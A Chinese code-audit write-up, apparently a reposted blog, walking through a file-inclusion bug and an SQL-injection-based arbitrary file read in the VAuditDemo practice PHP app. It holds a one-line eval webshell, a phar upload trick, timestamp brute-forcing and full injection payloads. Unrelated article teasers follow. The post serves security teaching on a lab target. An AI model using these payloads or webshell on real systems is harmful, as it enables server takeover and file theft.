VAuditDemo文件漏洞

news2024/11/14 1:10:44

目录

VAuditDemo文件漏洞

一、首页文件包含漏洞

包含图片马

利用伪协议phar:// 构造shell.inc被压缩为shell.zip，然后更改shell.zip 为 shell.jpg上传

二、任意文件读取漏洞

avatar.php

updateAvatar.php

logCheck.php

任意文件读取漏洞利用

VAuditDemo文件漏洞

一、首页文件包含漏洞

index.php 中 虽然包含了 lib.php 这个安全能力比较nb的文件，但是，其中并没有对文件有什么重要的措施，仅仅只是对文件后缀名的白名单而已，而且 index.php 文件并没有使用 is_pic 这个函数。

但是 index.php 文件却对所包含的文件添加了一个后缀叫 .inc 这样使得很多文件包含再次都会失效，因为浏览器时无法解析 .inc 文件的。

包含图片马

可是，作为攻击者，并不一定需要浏览器解析，而是只要有所包含的文件的内容即可，所以，此漏洞，结合头像上传图片马，再利用该漏洞包含图片马，即使后缀被添加 .inc 只要包含到图片马中的内容即可利用

唯一需要注意的是，图片名称需要爆破得到，作为攻击者，在请求响应中是看不到上传的头像的名称的

 //index.php 文件重要内容如下
 <?php 
 require_once('sys/config.php');
 require_once('header.php');
 ?>
 ​
 <?php
 /* Include */
     if (isset($_GET['module'])){
         include($_GET['module'].'.inc');
     }else{
 ?>
 ​
 //lib.php 部分内容如下
 function is_pic( $file_name ) {
     $extend =explode( "." , $file_name );
     $va=count( $extend )-1;
     if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {
         return 1;
     }
     else
         return 0;
 }

image-20240819184438843

而且，既然有了这个想法，我们是不是还可以在图片马中添加 hook.js ，一旦这个可以添加进去被包含，那就真赚大了

利用伪协议phar:// 构造shell.inc被压缩为shell.zip，然后更改shell.zip 为 shell.jpg上传

  • 构造 shell.inc 内容为 <?php @eval($_POST['a']);?>

  • shell.inc 添加到 shell.zip ，然后修改后缀zip为jpg

  • 上传，测试环境直接找到文件名

  • 访问，由于 .inc 程序里已经设定好了，所以访问时就不需要再添加 .inc 了

image-20240819191415497

此时就可以使用菜刀链接，菜刀链接上了之后就可以再上传冰蝎马，再用冰蝎链接，更为保妥。

令人深思的是，如果单纯作为攻击者，纯黑盒，又该怎样获取上传的文件名呢，事实上是这样的

在攻击者上传后门时，通过抓包可以看到

image-20240819191926806

此时，既把后门上传了，又能看到上传的时间，此时爆破时间戳，由于此时的时间设定是 GMT：格林威治标准时间

image-20240819192216090

我们可以看到，左边是 GMT 时间，右边是中国时间，相差整整八小时，所以通过抓包得到的响应中的时间，再加八小时得到的时间，大约就是图片上传到服务器的时间，再利用 date +%s 就可以得到服务器的 unix元年时间戳

image-20240819192540677

然后上下十秒左右的时间范围内，构造出时间戳字典，用来爆破

如果，服务器时间不准确，与中国时间不符，可使用 ntpdate ntp.aliyun.com 命令来同步服务器时间与阿里云的时间服务器的时间

二、任意文件读取漏洞

我们之前已经讨论过头像文件上传这个问题了，但由于没有具体分析，所以没有意识到问题的严重性，这里一共涉及到三个文件 avatar.php updateAvatar.php logCheck.php

avatar.php

 <?php
 error_reporting(0);
 session_start();
 header("Content-type:image/jpeg");
 echo file_get_contents($_SESSION['avatar']);
 ?>

我们可以看到，该文件将会输出$_SESSION['avatar']变量中所存储的文件内容，通过全局搜索，发现接下来两个文件有重大嫌疑

updateAvatar.php

 <?php
 include_once('../sys/config.php');
 $uploaddir = '../uploads';
 ​
 if (isset($_POST['submit']) && isset($_FILES['upfile'])) {
 ​
     if(is_pic($_FILES['upfile']['name'])){
 ​
         $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
         // die($avatar);
 ​
         if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) {
             //更新用户信息
             $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
             mysql_query($query, $conn) or die('update error!');
             mysql_close($conn);
             //刷新缓存
             $_SESSION['avatar'] = $avatar;
             header('Location: edit.php');
         }
         else {
             echo 'upload error<br />';
             echo '<a href="edit.php">返回</a>';
         }
     }else{
         echo '只能上傳 jpg png gif！<br />';
         echo '<a href="edit.php">返回</a>';
     }
 }
 else {
     not_find($_SERVER['PHP_SELF']);
 }
 ?>
 ​

通过分析发现 $avatar 变量经过拼接之后，就可以对数据库进行操作，更新到数据库中，然后更改当前用户的 $_SESSION['avatar'] 为 $avatar ，说明，可以通过 $avatar 变量来操作数据库

logCheck.php

 <?php
 include_once('../sys/config.php');
 ​
 if (isset($_POST['submit']) && !empty($_POST['user']) && !empty($_POST['pass'])) {
     $clean_name = clean_input($_POST['user']);
     $clean_pass = clean_input($_POST['pass']);
     $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
     $data = mysql_query($query, $conn) or die('Error!!');
 ​
     if (mysql_num_rows($data) == 1) {
         $row = mysql_fetch_array($data);
         $_SESSION['username'] = $row['user_name'];
         $_SESSION['avatar'] = $row['user_avatar'];
         $ip = sqlwaf(get_client_ip());
         $query = "UPDATE users SET login_ip = '$ip' WHERE user_id = '$row[user_id]'";
         mysql_query($query, $conn) or die("updata error!");
         header('Location: user.php');
         }
     else {
         $_SESSION['error_info'] = '用户名或密码错误';
         header('Location: login.php');
     }
     mysql_close($conn);
 }
 else {
     not_find($_SERVER['PHP_SELF']);
 }
 ?>

通过分析发现，一旦用户登录成功就会修改该用户的 $_SESSION['avatar'] 变量的值为 $row['user_avatar'] ，而这个值的内容是正式从数据库中查询出来的。所以，最重要的 步骤就是 updateAvatar.php 文件的功能，他是可以直接操作数据库的。

综上所述，一旦通过 $avatar 变量成功操作数据库之后将文件名赋值给 $_SESSION['avatar'] ，此时仅仅只是这个值被修改，对应用户的SESSION变量需要重新登陆才会刷新，所以攻击者再重新登陆一次 $_SESSION['avatar'] 变量的值就会被修改为上传的恶意文件的文件名。此时再通过 avatar.php 文件数据对应的文件内容就可以实现漏洞利用

 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
 ​
 $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
 ​
 UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'
 ​
 UPDATE users SET user_avatar = 'index.jpg' WHERE user_id = '10'
     
 UPDATE users SET user_avatar = 'index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'
 ​
 #加上程序所添加的前缀../uploads/u_12345678_
     
 UPDATE users SET user_avatar = '../uploads/u_12345678_index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'
 ​
 UPDATE users SET user_avatar = '../uploads/u_12345678_index.php',user_avatar='index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'
 #或者
 UPDATE users SET user_avatar = '../uploads/u_12345678_',user_avatar = 'index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'
 ​
 #最终删掉程序添加的前缀
     
 UPDATE users SET user_avatar = 'index.php',user_avatar='index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'
 #或
 UPDATE users SET user_avatar = '',user_avatar = 'index.php' where user_name='wwww'#.jpg' WHERE user_id = '10'
 ​
 #得到最终的payload
 index.php',user_avatar='index.php' where user_name='wwww'#.jpg
 #或
 ',user_avatar = 'index.php' where user_name='wwww'#.jpg
 ​
 #并且这样构造还可以让任意用户的头像都变成我们所上传的文件，只需要将payload中的where user_name='wwww'修改为 where user_id='3' 修改数字即可

image-20240819225513479

最终，二者payload全部获胜

然后，比如攻击者想读取默认首页的后台页面 index.php ，所以攻击者需要确定好目录，我们作为测试人员可以知道 对于 updateAvatar.php 文件来说 index.php 在他的上一级目录下，所以还需要加上 ../ 才可以，于是最终的payload为

 index.php',user_avatar='../index.php' where user_name='wwww'#.jpg
 #或
 ',user_avatar = '../index.php' where user_name='wwww'#.jpg

现在我们拿着payload去注入测试

任意文件读取漏洞利用

  • 访问上传文件页面，上传文件并抓包，修改文件名为payload

    image-20240819231321449

  • 发现请求只能发一段，响应也只有一段，拿到navicat中去测试发现两个payload都是正确执行的，这是为什么？不信了我还，使用不带 ../ 的payload再用burp注入试试

    使用 shell.php',user_avatar='index.php' where user_name='wwww'#.jpg ，此时就有三段请求需要发送，说明此时才算注入成功，但为什么带上 ../ 就无法注入了呢

    从上面我们可以得知 ../ 无法在payload 中使用，估计是被编码或者是被怎么处理了，遇到这种情况，我们千万不要忘了SQL语句中是可以执行十六进制代码的，并且十六进制代码完全可以充当字符串（也就是使用十六进制代码时就可以不需要引号包裹了），所以我们将 所要查看的目录 转换为十六进制然后加上 0x 构成新的payload，再在burp中发送。

    image-20240819232846937

  • 最终的payload

     index.php',user_avatar=0x2E2E2F696E6465782E706870 where user_name='wwww'#.jpg
 #或
 ',user_avatar = 0x2E2E2F696E6465782E706870 where user_name='wwww'#.jpg

  • burp抓包发送

    image-20240819233045964

    此时一共可以发送三段请求，说明请求成功，并且数据库中也发现文件名修改成功

    image-20240819233204610

  • 访问 avatar.php 抓包，看响应

    image-20240819233417738

    响应竟然是这么个玩意，这不是我上传的文件中的内容嘛，原因是什么，是因为攻击者还没有重新登陆，SESSION变量确实被修改了，但是我这个用户还没有重新登陆，使用的SESSION还是旧的SESSION，需要重新登陆才可以使用新的SESSION，所以，重新登录，再访问（虽说最后的SESSION还是一样的，但是我们可以理解为，后台服务器修改了代码，前端没有强制刷新缓存导致加载新资源失败，这里的退出登录就是类似于刷新缓存）

  • 终于，访问默认首页后端代码成功

    image-20240819233909385

  • 基于此再尝试一下另一个payload ',user_avatar = '../index.php' where user_name='wwww'#.jpg 为了验证，我打算修改目录为 ../admin/index.php

    image-20240819234445748

    所以payload为 ',user_avatar = 0x2E2E2F61646D696E2F696E6465782E706870 where user_name='wwww'#.jpg

    image-20240819234638723

    哦耶，成功发送三段请求，数据库也成功被修改了

    image-20240819234752450

    退出，重新登陆，去抓包访问 avatar.php，成功读取到admin/index.php，一模一样

    image-20240819234928809

image-20240819234957322

 

任意文件包含漏洞分析链

  • 搜索敏感函数，找到 file_get_contents 读取文件的函数

  • 根据 file_get_contents 函数，查看其中参数发现是 $_SESSION['avatar'] ，查看该参数是否可控

  • 搜索该参数，到底是谁给该参数在赋值，发现存在于两个文件，分别是 updateAvatar.php 和 logCheck.php

  • 按照系统功能，得先登录才可使用修改头像的功能，所以先考虑 logCheck.php 文件中的。$_SESSION['avatar'] = $row['user_avatar']; 而 $row 有来自于数据库中的字段内容

     $query = "SELECT * FROM users WHERE user_name = '$clean_name' AND user_pass = SHA('$clean_pass')";
 $data = mysql_query($query, $conn) or die('Error!!');
 $row = mysql_fetch_array($data);

  • 所以分析updateAvatar.php，其中通过 $_SESSION['avatar'] = $avatar; 而 $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name']; 所以上传文件最终确定可控点为 $avatar

  • 继续思考和尝试，确认可控点是否可以进一步利用。比如是否可以随意拼接，有没有进行过滤等。比如虽然这些页面最终都有包含 lib.php 但是 lib.php 文件并没有对 $_FILES 进行过滤。

任意文件包含漏洞调用链

 文件上传   ->   文件名作为数据库 UPDATE SQL 语句的一部分，精心构造payload，绕过UPDATE语句   ->   将目标文件名或目录插入数据库后，用户登录即可将文件名或目录赋值给$_SESSION['avatar']   ->   avatar.php 页面读取文件时，file_get_contents 函数的参数就是 $_SESSION['avatar']

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2057438.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Python中使用SQLite数据库的方法4-3

Python中使用SQLite数据库的方法4-3

对于数据库的操作&#xff0c;主要包括“增”、“删”、“改”、“查”四种。在Python中使用SQLite数据库的方法4-1_python的sqlite怎么打开-CSDN博客和Python中使用SQLite数据库的方法4-2_python2 sqlite2-CSDN博客中实现增”、“删”和“查”三种操作。 1 带过滤条件的“查”…
阅读更多...
C语言基础（七）

C语言基础（七）

1、二维数组&#xff1a; C语言中的数组是一种基本的数据结构&#xff0c;用于在计算机内存中连续存储相同类型的数据。 数组中的每个元素可以通过索引&#xff08;或下标&#xff09;来访问&#xff0c;索引通常是从0开始的。数组的大小在声明时确定&#xff0c;并且之后不能…
阅读更多...
在Linux下搭建go环境

在Linux下搭建go环境

下载go go官网&#xff1a;All releases - The Go Programming Language 我们可以吧压缩包下载到Windows上再传到Linux上&#xff0c;也可以直接web下载&#xff1a; wget https://golang.google.cn/dl/go1.23.0.linux-amd64.tar.gz 解压 使用命令解压&#xff1a; tar -x…
阅读更多...
Leetcode JAVA刷刷站（57）插入区间

Leetcode JAVA刷刷站（57）插入区间

一、题目概述 二、思路方向 为了解决这个问题&#xff0c;我们可以遍历给定的区间列表 intervals&#xff0c;并同时构建一个新的列表来存储最终的合并结果。遍历过程中&#xff0c;我们检查当前区间是否与 newInterval 重叠或相邻&#xff0c;并根据需要进行合并。如果不重叠…
阅读更多...
虚拟化平台kvm架构 部署kvm虚拟化平台

虚拟化平台kvm架构 部署kvm虚拟化平台

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…
阅读更多...
在HarmonyOS中使用RelativeContainer实现相对布局

在HarmonyOS中使用RelativeContainer实现相对布局

在应用开发中&#xff0c;布局设计至关重要&#xff0c;尤其是当我们需要处理复杂的界面时&#xff0c;合理的布局设计不仅能够提升界面的美观性&#xff0c;还能够提高应用的性能。在HarmonyOS中&#xff0c;RelativeContainer是一个强大的布局容器&#xff0c;它允许开发者通…
阅读更多...
【Qt】 对象树 与 乱码问题

【Qt】 对象树 与 乱码问题

文章目录 1. 对象树在堆上开辟空间 并管理栈上开辟 与 堆上开辟 的区别 2. 乱码问题的解释编码方式的区分出现乱码的原因查看当前文件的编码方式如何处理 文件与 终端 编码方式 不统一 1. 对象树 在堆上开辟空间 并管理 该代码只进行new(在堆上开辟空间) 而没有delete 正常来说…
阅读更多...
ES系列二之CentOS7安装ES head插件

ES系列二之CentOS7安装ES head插件

CentOS7安装ES head插件 附&#xff1a;Centos7中安装Node出现Cannot find module ‘…/lib/utils/unsupported.js‘问题 删除原本的的npm连接&#xff0c;重新建一个即可。 1、先cd到该node版本中的bin文件夹下,这里装的是12.16.2版本&#xff1a; cd /usr/local/soft/nod…
阅读更多...
C语言 之 字符串函数strncpy、ctrncat、strncmp函数的使用

C语言 之 字符串函数strncpy、ctrncat、strncmp函数的使用

文章目录 strncpy函数的使用strncat函数的使用strncmp函数的使用 strncpy函数的使用 函数原型&#xff1a; char * strncpy ( char * destination, const char * source, size_t num); strncpy与strcpy的区别是&#xff0c;strncpy可以控制需要拷贝的字符数量 1.能够拷贝num个…
阅读更多...
为什么使用HTTPS？

为什么使用HTTPS？

HTTPS现在是所有Web活动的首选协议&#xff0c;因为它是用户保护敏感信息的最安全方式。 HTTPS不仅对请求用户信息的网站至关重要。除了用户直接发送的信息外&#xff0c;攻击者还可以从不安全的连接中跟踪行为和身份数据。 HTTP为网站所有者带来的好处除了数据安全之外&…
阅读更多...
【Linux网络编程入门】Day5_socket编程基础

【Linux网络编程入门】Day5_socket编程基础

socket 编程基础 Linux 下的网络编程&#xff1a;socket 编程&#xff1b; socket是内核向应用层提供的一套网络编程接口&#xff0c;用户基于 socket 接口可开发自己的网络相关应用程序。 ⚫ socket 简介 ⚫ socket 编程 API 介绍 ⚫ socket 编程实战 socket 简介 ​ 套…
阅读更多...
微信小程序引入全局环境变量

微信小程序引入全局环境变量

有时候一套代码要在多个小程序appId下使用,其中又有一些数据(文字)需要做区分.可以使用下面的方法 把要配置的数据以export default 形式导出 在app.js中,引入project.config.0.js文件,将导出的数据放在globalData中 在页面目录中,即可利用getApp()方法使用全局变量 也可以放数…
阅读更多...
LM4863 带立体声耳机功能的双 2.2W音频功率放大器芯片IC

LM4863 带立体声耳机功能的双 2.2W音频功率放大器芯片IC

一般概述 LM4863是双桥接的音频功率放大器。当电源电压为5V时&#xff0c;在保证总谐波失真、噪声失真之和小于1.0%的情况下&#xff0c;4Ω负载提供2.2W的输出功率或者可向3Ω负载提供2.5W的输出功率。另外&#xff0c;当驱动立体声耳机时&#xff0c;耳机输入端允许放…
阅读更多...
微服务：分布式事务

微服务：分布式事务

&#x1f4a5; 该系列属于【SpringBoot基础】专栏&#xff0c;如您需查看其他SpringBoot相关文章&#xff0c;请您点击左边的连接 目录 一、引言 二、Seata 三、部署TC服务 1. 准备数据库表 2. 准备配置文件 3. Docker部署 四、微服务集成Seata 1. 引入依赖 2. 改造配…
阅读更多...
json 库的下载与使用

json 库的下载与使用

Json 简介Json下载Json::Value 数据对象类Json 序列化/反序列化的介绍Json 的序列化类低版本高版本 Json 的反序列化类低版本高版本 Json序列化操作Json反序列化操作 简介 json 是一种数据交换格式&#xff0c;采用独立于编程语言的文本格式来存储和表示的数据。 Json下载 使…
阅读更多...
波导阵列天线单元 学习笔记3 基于空气填充双模馈网的双圆极化膜片天线阵列

波导阵列天线单元 学习笔记3 基于空气填充双模馈网的双圆极化膜片天线阵列

摘要&#xff1a; 此通信提出了一种使用空气填充双模馈网的基于膜片极化器的双圆极化天线阵列。一种1分4的圆腔单层覆盖在膜片极化器上来抑制栅瓣。全公司馈网被一个双模传输线所实现&#xff0c;以此在一组馈网内联合了TEM模式&#xff08;由HW悬架线激励&#xff09;和TE10模…
阅读更多...
Stable Diffusion赋能“黑神话”——助力悟空走进AI奇幻世界

Stable Diffusion赋能“黑神话”——助力悟空走进AI奇幻世界

《黑神话&#xff1a;悟空》是由游戏科学公司制作的以中国神话为背景的动作角色扮演游戏&#xff0c;将于2024年8月20日发售。玩家将扮演一位“天命人”&#xff0c;为了探寻昔日传说的真相&#xff0c;踏上一条充满危险与惊奇的西游之路。 同时&#xff0c;我们还可以借助AI绘…
阅读更多...
智能电子班牌源码之终端管理-SAAS本地化及未来之窗行业应用跨平台架构

智能电子班牌源码之终端管理-SAAS本地化及未来之窗行业应用跨平台架构

一智能电子班牌 智能电子班牌为教育行业量身打造&#xff0c;高清显示屏体、可安装各类软件&#xff0c;满足门禁、考勤、信息显示等多种功能。节能防水防误触设计&#xff0c;更适用于校园环境。 二、设备管理 1. 提高效率&#xff1a;管理员无需亲临设备现场&#xff0c;…
阅读更多...
Maven-03.idea集成-配置及创建maven项目

Maven-03.idea集成-配置及创建maven项目

一.配置Maven 写在前面&#xff1a;特别注意idea版本与Maven版本以及jdk版本与Maven版本的匹配问题。一定要下载和当前idea版本以及jdk版本匹配的maven版本&#xff0c;否则会出问题。具体匹配结果上网查询&#xff01;此处采用idea2023.2.3&#xff0c;jdk17&#xff0c;mave…
阅读更多...
edge浏览器可以，chrome浏览器看不到接口数据

edge浏览器可以，chrome浏览器看不到接口数据

chrome 谷歌浏览器&#xff0c;可以看到页面&#xff0c;F12的开发者工具看不到返回数据 无法加载响应数据: No data found for resource with given identifier Chrome 将显示 ERR_INTERNET_DISCONNECTED 错误 edge浏览器是正常的。 哈哈哈哈哈哈&#xff0c;这里误点了&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023